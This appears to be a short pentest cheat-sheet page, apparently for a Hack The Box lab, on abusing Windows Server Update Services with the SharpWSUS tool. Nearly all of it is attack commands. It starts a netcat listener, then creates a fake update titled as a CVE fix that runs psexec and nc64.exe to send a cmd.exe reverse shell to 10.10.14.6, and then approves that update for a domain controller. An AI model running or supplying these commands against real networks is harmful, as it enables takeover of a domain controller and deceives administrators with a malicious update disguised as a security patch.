githubEdit

wsus

#windowsserverupdateservice

WSUS information

.\sharpWSUS.exe inspect

Start a listener on kali

nc -lvnp 1234

Create windows update

.\sharpWSUS.exe create /payload:"C:\Windows\Temp\psexec.exe" /args:" -accepteula -s -d c:\Windows\Temp\nc64.exe -e cmd.exe 10.10.14.6 445" /title:"Important Update CVE-2022-30190"

Approve the patch

.\sharpWSUS.exe approve /updateid:<id> /computername:dc.outdated.htb /groupname:"CriticalPatches"

Last updated